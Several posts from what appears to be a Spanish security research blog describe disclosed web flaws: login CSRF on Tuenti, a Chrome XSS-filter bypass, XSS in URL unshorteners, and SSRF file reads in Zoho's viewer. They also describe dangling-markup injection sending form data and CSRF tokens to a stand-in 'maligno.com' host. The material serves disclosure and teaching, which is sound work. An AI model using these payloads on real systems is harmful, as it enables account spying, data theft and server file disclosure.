martes, 10 de septiembre de 2013

Login y ataques CSRF: Espiando a un usuario en Tuenti

[Artículo cedido como contribución a Flu-Project]

Si alguien se pregunta para qué iba a querer usar un ataque CSRF para forzar a un usuario a loguearse en una cuenta de mi propiedad de la que ya poseo las credenciales, espero que este post pueda despejar sus dudas. El pasado mes de julio reporté esta vulnerabilidad a Tuenti (ya solucionada), por lo que fui incluido como agradecimiento en su Hall of Fame.

El ejemplo más sencillo de este tipo de ataques lo podíamos encontrar con Google, cuyo equipo hace tiempo que solucionó el problema en todos sus servicios de login. Entre las opciones de configuración del buscador se encuentra "Activar historial web" que se encarga de almacenar todas nuestras búsquedas cuando estamos dentro de una sesión. Imaginemos a un atacante cuya intención es trazar la personalidad, las aficiones, intereses, etc. de su víctima en base al uso que hace del buscador. Si el atacante es capaz de loguear a la víctima en una sesión cualquiera de Google que tenga esta opción activada, sólo tendrá que esperar a que el usuario realice sus búsquedas normalmente para luego entrar en la cuenta y espiar el historial generado.

Dependiendo de la naturaleza de la aplicación web, el ataque puede necesitar algún punto de apoyo y tener distintas consecuencias. En una red social como Tuenti, si nos lo curramos un poco, se pueden llegar a espiar mensajes privados, peticiones de amistad, publicaciones privadas, etc.

Como no hay mejor explicación que una prueba de concepto, aquí van los pasos para reproducir el ataque con vídeo incluido (se distinguirá mejor si subís la calidad a "HD"):


1. El atacante modifica el perfil de una cuenta cualquiera (fakeaccount@gmail.com) imitando el perfil de la víctima. Este es el punto de apoyo del que hablábamos anteriormente. Se podría imitar superficialmente con el nombre, foto de perfil, etc., o con más detalle usando contactos falsos, álbumes, intereses, eventos... Todo depende del grado de interés del atacante.

2. El atacante crea una página web que fuerza automáticamente un logueo en Tuenti usando la cuenta falsa. Para ello, aprovecha que el sistema de login es vulnerable a CSRF y no incluye la validación habitual de un token aleatorio que evite una autenticación desde una página externa. Por otra parte, apunta el target del formulario hacia un iframe oculto para que el acceso se produzca de forma silenciosa:


3. El atacante convence a la víctima para visitar la página anterior y le sugiere realizar alguna acción en Tuenti.

4. La víctima visita la página, lo que fuerza un logueo silencioso en la cuenta falsa.

5. Posteriormente, la víctima visita Tuenti para realizar alguna acción. Al haber sido ya logueada en el paso anterior, no se le solicitarán sus credenciales.

6. Al cabo de un tiempo, el atacante entra en la cuenta falsa y espía las acciones que ha realizado la víctima.

Por supuesto, la víctima puede llegar a notar que echa de menos mensajes y demás recursos dependiendo de lo minucioso que haya sido el atacante al clonar el perfil y de la información que disponga de él. Sin embargo, os aseguro que lo habitual es que un usuario medio siga realizando acciones sin alarmarse demasiado, atribuyendo la falta a algún error puntual. Más aún si lo mantenemos entretenido en una conversación con algún contacto falso que hayamos añadido a la cuenta clonada.

Quiero dar mi enhorabuena al equipo de Tuenti, ya que después de recibir la notificación solucionó el problema en menos de 24 horas añadiendo la validación del token aleatorio en el formulario de acceso:

<input type="hidden" name="csfr" value="2a996033">

¡No marginéis a vuestros sistemas de login a la hora de protegerlos contra ataques CSRF!

¡Saludos!

sábado, 22 de junio de 2013

Bypass del filtro XSS de Chrome con nombres de variable y caracteres especiales

[Artículo cedido como contribución a Security by Default]

A pesar de que el tique asignado siga privado y sin resolver a día de hoy, el equipo de Chrome me ha dado permiso para hacer público este fallo que descubrí a finales de marzo. Generalmente, los fallos que permiten bypassear el XSSAuditor de Chrome son calificados por su equipo técnico con un nivel de severidad nulo respecto a la seguridad del navegador, ya que consideran que la brecha se encuentra realmente en la página vulnerable. Tal como indicaron en el hilo de comentarios de la incidencia:

"We generally treat XSSAuditor bypasses as security non-issues, as the fault is in the server, not is ourselves."



Uno de los puntos de inyección olvidados en muchas ocasiones es el nombre de las variables en una petición web:

http://www.webvulnerable.com?coche=rojo&barco=negro



Mientras puede que te hayas vuelto loco probando ataques sin éxito en los valores "rojo" y "negro", quizá puedas ver la luz inyectando sobre los nombres de variable:

http://www.webvulnerable.com?coche<script>alert('XSS')</script>=rojo&barco=negro<script>alert('XSS2')</script>



El filtro XSS de Chrome, en principio, no debería tener problemas para parar estos ataques. Sin embargo, cuando se da este tipo de vulnerabilidad, los servidores pueden hacer ciertas transformaciones por su cuenta. En concreto, contra un servidor PHP, si introducimos uno de los siguientes caracteres en una cadena del nombre de la variable, será transformado automáticamente a un guión bajo "_":

"espacio", "[", "+", "."

El filtro de Chrome no esperará este cambio y será bypasseado. Como prueba de concepto, preparé una página con un sencillo código en el lado del servidor:


Podéis testear el bypass pulsando en el siguiente enlace:


Se puede comprobar que otros filtros XSS como el de NoScript para Firefox o el filtro por defecto de Internet Explorer sí protegen correctamente en este escenario.

Es interesante recordar que, actualmente, esta no es la única manera de burlar el filtro de Chrome en su última versión. También podemos hacerlo explotando estratégicamente más de una variable vulnerable, como  pudimos ver en este artículo, con el método descubierto por Nick Nikiforakis. En este último caso, el tique asignado fue resuelto con un "WontFix", lo que quiere decir que ni está arreglado, ni se piensa arreglar en el futuro. Una vez más, esta técnica es tratada correctamente por NoScript e Internet Explorer.

Esperemos que el equipo de Chrome no adopte como norma general restar importancia a estos casos de vulnerabilidades que son relativamente "poco comunes", ya que su acumulación podría generar un "cheat sheet" bastante molesto, y que lo dejara en mal lugar respecto a la competencia.

¡Saludos!

jueves, 9 de mayo de 2013

URL UNSHORTENERS: Cazado por ser precavido

[Artículo cedido como contribución a Flu-Project]

El mundo de la seguridad también tiene sus curiosas ironías. En este post veremos cómo te la pueden meter doblada, precisamente, por intentar ser precavido.
A estas alturas ya todos conocemos y usamos de manera activa o pasiva los acortadores de URLs. Ahorramos espacio, nos sacan de apuros en Twitter, conseguimos un efecto sorpresa al ocultar la URL original...

Supongo que te hubieras pensado dos veces pulsar en el enlace anterior si hubieras leído el nombre del archivo en la URL final. O quizá no, el morbo no tiene límites :P. Aunque cueste creerlo, en esta jungla virtual hay peligros mucho mayores que nuestro amigo David desnudo, con millones de webs infectadas de todo tipo de malware y perrerías. Precisamente para intentar evitar sorpresas desagradables, nacieron las webs que nos proporcionan el servicio contrario de "unshortening", es decir, nos desvelan la URL original a partir de una URL acortada. 

¿Qué pasaría si las webs que ofrecen estos servicios fueran vulnerables a ataques inyectados en la propia URL original? Por el simple hecho de ser precavidos y consultar una URL, seríamos directamente víctimas de los tipos de ataques que, irónicamente, queremos evitar. Algo así como ir a ver si la pistola está cargada y que se te dispare en la cara.
Con esta idea, se me ocurrió testear la seguridad de algunas de las webs que ofrecen servicios de "unshortening". El resultado fue terrorífico, ya que prácticamente todas las testeadas que ofrecen esta funcionalidad eran vulnerables a ataques XSS.

Lo primero, fue fijar una URL que referenciara a un supuesto archivo llamado "><img src="1" onerror="alert('OWNED!!')">.html. Algo como...

http://www.evilchistera.com/"><img src="1" onerror="alert('OWNED!!')">.html

Este nombre de archivo es totalmente válido en sistemas Unix y puede existir perfectamente en un servidor web. No es necesario que la URL sea real para hacer la prueba, ya que de momento lo único que nos interesa es crear una URL corta que la resuelva. El siguiente paso, por tanto, es generar su hermana pequeña en cualquier servicio acortador de URLs como https://bitly.com/, y a jugar...

Al introducir la URL acortada en la gran mayoría de los servicios de URL unshortener el ataque se ejecuta con éxito:



Pero, ya que tenemos control total sobre la página, ¿por qué no hacer la gracia completa y en vez de sacar un inocente alert hacemos que el ataque fuerce al usuario directamente a visitar la web que queramos? Es decir, ¿por qué no hacer que directamente visite la web de nuestro amigo David Hasselhoff nada más consultar la URL acortada en el servicio de unshortening? Modificamos el vector de ataque...

http://www.evilchistera.com/"><script>location.href='http://bit.ly/15q0CUY'</script>


Para que se produzca correctamente la redirección, antes de usar la URL anterior debemos encodearla:

http://www.evilchistera.com/"><script>location.href=String.fromCharCode(104,116,116,112,58,47,47,98,105,116,46,108,121,47,49,53,113,48,67,85,89)</script>

Obtenemos la correspondiente URL acortada de https://bitly.com/:

http://bit.ly/11TuJh9

Y supongo que ya adivináis lo que ocurre cuando la introducimos en un servicio de unshortening vulnerable :D.

Si visitamos esta URL corta tal cual, fallará debido a que el archivo destino no existe realmente y, simplemente, hemos hecho una prueba de concepto basándonos en una URL ficticia. Si te apetece afinarlo más (tal y como se haría en un ataque real), puedes crear en un servidor el fichero con el XSS incluido en su nombre e incrustarle en el código html una redirección a la misma página destino del ataque. De esta manera, tanto si se visita el enlace corto como si se consulta en un servicio de unshortening, la víctima será redirigida a la página que queramos.

Después de esto, ¿qué podemos hacer si una URL acortada nos da mala espina y queremos saber su URL final sin preocuparnos de ser cazados? Una opción, lógicamente, es usar un servicio de unshortening que no sea vulnerable. Como no podemos asegurar nunca esto al 100%, esta opción no me gusta. Otra opción es instalar en el navegador alguno de los plugins que existen para estas tareas. NoRedirect, por ejemplo, ofrece un diálogo de confirmación antes de ser redirigido a la página final. Por último, también puedes usar cualquier método que te permita consultar el código fuente de la URL corta. Por ejemplo, puedes usar curl...


Saludos!

sábado, 23 de marzo de 2013

Explotando un HTML Injection sin Javascript

Bravo...!! Acabas de encontrar una variable de entrada en la web de tu banco favorito que se refleja en la salida sin ser escapada. Estás dispuesto a hacer tu rutinaria prueba de "alert" y a intentar robar la información de los usuarios enviándola a tu servidor maligno incrustando tu código js personalizado pero... ¡¡Rayos y retruécanos!! Las etiquetas de <script> son filtradas, los atributos de eventos eliminados, se ha incluido un token para evitar ataques CSRF y toda posibilidad de ejecutar javascript con técnicas exóticas ha sido tenida en cuenta por el administrador de la web. Parece que no nos vamos a poder divertir mucho más allá de intentar algún phishing o incrustar alguna bonita imagen.

O quizá sólo lo parece... En este escenario, aún nos quedan algunas cartas por jugar para intentar robar los datos de los usuarios fácilmente. Aquí os mostramos dos de ellas:

Imaginemos esta situación:
...
<!-- Aquí está nuestro punto de inyección -->
<form action="http://bancomalo.com/facturas" method="POST">
   <input type="hidden" name="facturaId" value="435">
   <input type="hidden" name="facturaDetalle" value="PetrodolarSA">
   <input type="hidden" name="facturaCantidad" value="780000">
   <input type="hidden" name="csrf" value="ae45-34569345-bef">
   <input type="submit" value=”Aceptar”>
...
</form>
...
<script>
var estadoOper='pendiente’;
...
</script>

Una posibilidad sería inyectar el código siguiente:

<img src='http://maligno.com?datosRobados=

Notemos dos detalles en esta inyección. El tag lo hemos dejado sin cerrar intencionadamente y además hemos usado la comilla simple para abrir el valor de la URL. Cuando los navegadores encuentran esta situación, están hambrientos de encontrar la comilla que les falta para dejar compuesto el valor de su atributo, y además no les vale cualquier otro tipo de comilla. Por esta razón, todo el contenido del formulario será incluido en nuestra URL hasta llegar a la comilla simple de 'pendiente.
Por tanto, la petición que hará el navegador de la víctima para resolver la imagen será la siguiente:

http://maligno.com?datosRobados=<form%20action="http://bancomalo.com/facturas"%20method="POST"><input%20type="hidden"%20name="facturaId"%20value="435"><input%20type="hidden"%20name="facturaDetalle"%20value="PetrodolarSA"><input%20type="hidden"%20name="facturaCantidad"%20value="7800"><input%20type="hidden"%20name="csrf"%20value="ae45-34569345-bef">%20<input%20type="submit"%20value=”Forward”>...</form>...<script>var%20estadoOper=

Y recibiremos en nuestro servidor maligno.com todos los datos del formulario.

Otra posibilidad sería incrustar una segunda etiqueta <form> que postee hacia nuestro servidor maligno:

<form action="http://maligno.com" method="POST">

De manera que el código final quedaría con dos etiquetas form:

<form action="http://maligno.com" method="POST">
<form action="http://bancomalo.com/facturas" method="POST">

Cuando los navegadores se encuentran con esto, hacen caso sólo a la primera etiqueta de formulario, así que si el usuario pulsa el botón de "Aceptar" los datos serán enviados a nuestro servidor maligno en lugar de al servidor legítimo.

Un saludo!!

jueves, 28 de febrero de 2013

Primer Reto Hacking de La Chistera Blanca

¡¡Llegó el primer reto hacking de La Chistera Blanca!!

Mi idea inicial era escribir una entrada en el blog sobre vulnerabilidades XSS que fueran un tanto especiales, y no por ello poco habituales. Algunas quizá más evidentes y documentadas, y otras no tanto, pero todas con un toque particular. Probablemente, hace un tiempo se me hubiera escapado alguna de estas en un pentest si no me pillara en uno de esos días cabezones, así que he querido compartirlas con vosotros a modo de reto.
Iré incluyendo a las personas que consigan resolverlo en la sección "Hall of Fame" como un agradecimiento personal hacia ellos por haberle dedicado parte de su tiempo.

Espero que lo disfrutéis como he disfrutado yo creándolo. Aquí os dejo el enlace:

http://retos.lachisterablanca.com/retoschistera/1

¡¡A por ello!!

sábado, 5 de enero de 2013

Ataques SSRF en servicios de conexión online

Actualización 17/01/2013: La empresa ha dado de baja el servicio afectado por el fallo de seguridad. Nunca obtuve una respuesta reconociendo el reporte.

Antes de nada, quiero decir que la empresa afectada por la vulnerabilidad que se va a exponer en este post fue avisada en dos ocasiones. En la primera, obtuve la respuesta de un técnico de soporte invitándome a explicar mejor "mi problema", a pesar de facilitar ejemplos en los que se accedía con un click a ficheros internos del servidor. En el segundo aviso hice incapié en la gravedad del fallo, indicando que la información debía ser redirigida al equipo de desarrolladores o sysadmins. No volví a obtener respuesta.

El término SSRF (Server Side Request Forgery), sin confundirlo con CSRF, hace referencia de forma genérica a una serie de ataques con unas características comunes. Un servidor vulnerable a SSRF permite a un atacante redirigir paquetes a hosts o puertos de manera que se puedan eludir restricciones impuestas inicialmente a los usuarios y realizar acciones no previstas, abusando de la confianza que el sistema tiene en el propio servidor.
Un ejemplo claro de un servicio susceptible a este tipo de ataques es una web que incluya un campo para introducir una URL a la que el servidor vaya a conectar para realizar una tarea. Una de las preguntas que debe surgirnos siempre como pentesters en esta situación es, ¿el servidor conectará a cualquier host y puerto que facilitemos en la URL incluyendo a él mismo o a hosts de la Intranet?. Si la respuesta es sí, estamos ante un posible grave fallo de seguridad.

La empresa Zoho dispone de una gran cantidad de servicios en la nube, con más de 7 millones de usuarios. Uno de los servicios gratuitos que ofrece es un visor de archivos online en https://viewer.zoho.com. Dispone de dos modos para visualizar documentos. El primero, subiendo un archivo desde local y, el segundo, el que nos interesa, indicando una URL donde se encuentre el archivo que queremos que nos muestre.

https://viewer.zoho.com

A su vez, la modalidad de URL puede usarse a través del formulario o a través de una API. Como el formulario incluye algunas validaciones javascript (esto ya iba dando mala espina), nos centraremos en la API por comodidad. Su forma de uso es la siguiente:

http://viewer.zoho.com/api/urlview.do?url=url_de_su_documento

Lo primero que detecté fue que mediante esta API podía introducir una URL del tipo file:///archivo y que el servidor devolvía páginas de error distintas para archivos UNIX conocidos y para archivos inventados:

https://viewer.zoho.com/api/urlview.do?url=file:///etc/passwd


https://viewer.zoho.com/api/urlview.do?url=file:///etc/sdferg

Después de la primera prueba, pensé que quizá algún tipo de WAF podría estar restringiendo el acceso a ciertas rutas como /etc/passwd, pero tras intentarlo con un  número mayor de archivos  "menos usuales" comprobé que el comportamiento era el mismo: si el archivo existe en el sistema, obtenemos un error del tipo "Ocurrió un error en el servidor al procesar su solicitud", con lo que de alguna manera sí que se está accediendo al sistema de archivos interno.
Lo siguiente que pensé fue que quizá el visor basaba su comportamiento en la extensión del archivo, y el problema para que no apareciera su contenido era que los ficheros pasados como parámetro no tenían extensión. Así que, ¿qué tal si probamos a añadir al final de la URL un "?.txt"? ¡Bingo!

https://viewer.zoho.com/api/urlview.do?url=file:///etc/passwd?.txt

No sólo se puede acceder a los ficheros, también se puede navegar por las rutas del sistema usando URLs del tipo 
https://viewer.zoho.com/api/urlview.do?url=file:///etc/?.txt
https://viewer.zoho.com/api/urlview.do?url=file:///usr/?.txt
...
etc.


Aunque las formas y el resultado del ataque son parecidos a un LFI, no se considera como tal, ya que no se está haciendo una inclusión mediante código fuente del archivo indicado en el parámetro, sino que se está procesando en el funcionamiento normal del servicio una URL interna que debería estar restringida. Con la misma idea, se puede por ejemplo intentar conectar a IPs de la Intranet, probar distintos puertos analizando los distintos mensajes de error o, incluso, provocar una denegación de servicio mediante /dev/random. Las posibilidades del SSRF son muy amplias.

Saludos!